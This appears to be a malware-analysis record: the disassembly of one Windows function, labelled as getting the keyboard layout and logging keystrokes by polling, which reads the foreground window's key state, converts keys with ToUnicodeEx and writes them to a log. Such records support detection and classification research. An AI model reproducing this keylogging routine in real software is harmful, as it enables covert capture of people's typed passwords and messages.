Function at 0x401d3f
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov eax, ecx
mov word [rbp + 0xa0], ax
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x28]
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x74], eax
mov ecx, 0x100
call sym.malloc
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov eax, dword [rbp + 0x74]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x60], rax
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
movsx eax, word [rbp + 0xa0]
mov rdx, qword [rbp + 0x60]
mov r8, rdx
mov edx, 2
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov dword [rbp + 0x5c], eax
movsx edx, word [rbp + 0xa0]
mov r9, rbp
mov r8, qword [rbp + 0x68]
mov eax, dword [rbp + 0x5c]
mov rcx, qword [rbp + 0x60]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x10
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToUnicodeEx]
call rax
lea rax, [rbp + 0x2e]
mov rcx, rax
call fcn.0046ec50
lea rcx, [rbp + 0x2e]
mov rdx, rbp
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x2e]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x2f]
mov rcx, rax
call fcn.0046ebf0
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.end__
mov rbx, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.begin__
mov rdx, rax
lea rcx, [rbp + 0x2f]
lea rax, [rbp - 0x40]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp + 0x2f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov rdx, rax
mov rcx, qword [0x004be390]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x30]
mov rcx, rax
call dbg.LOG(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x68]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x401f61
add rsp, 0x108
pop rbx
pop rbp
ret